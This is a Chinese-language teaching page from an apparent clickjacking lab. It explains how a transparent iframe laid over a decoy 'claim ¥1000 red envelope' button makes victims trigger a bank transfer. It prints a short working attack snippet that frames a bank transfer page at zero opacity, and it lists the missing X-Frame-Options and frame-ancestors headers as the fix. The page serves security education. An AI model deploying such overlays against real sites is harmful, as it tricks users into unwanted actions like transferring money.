← 返回 Clickjacking Lab

🎯 实验一:iframe 覆盖攻击

⚠️ 攻击演示

调整透明度滑块,观察攻击者如何隐藏真实的银行页面

📖 攻击原理

  1. 攻击者创建一个诱人的页面(如"领取红包")
  2. 在页面上覆盖一个透明的 iframe,加载目标网站
  3. 调整 iframe 位置,使目标按钮与诱饵按钮重叠
  4. 用户以为点击诱饵,实际点击了 iframe 中的真实按钮

🎮 攻击演示

👿 攻击者视角

用户看到的是下面的"领取红包"页面,但实际点击的是透明 iframe 中的银行转账按钮

🎁 恭喜您获得红包!

点击下方按钮立即领取 ¥1000

😇 受害者视角

当 iframe 完全透明时,用户只能看到诱饵页面

  • 用户以为在领取红包
  • 实际触发了银行转账
  • ¥1000 被转走

📊 账户状态

当前余额: 加载中...

被劫持转账次数: 0

💻 攻击代码

<!-- 攻击者页面 -->
<div style="position: relative;">
  <!-- 诱饵层 -->
  <div class="decoy">
    <h2>🎁 领取红包</h2>
    <button>立即领取</button>
  </div>
  
  <!-- 透明 iframe 覆盖 -->
  <iframe 
    src="https://bank.com/transfer" 
    style="
      position: absolute;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
      opacity: 0;  /* 完全透明 */
    ">
  </iframe>
</div>

🔍 为什么攻击成功?

目标页面 没有设置 以下防护头:

  • X-Frame-Options: DENY
  • Content-Security-Policy: frame-ancestors 'none'

因此可以被任意页面通过 iframe 嵌入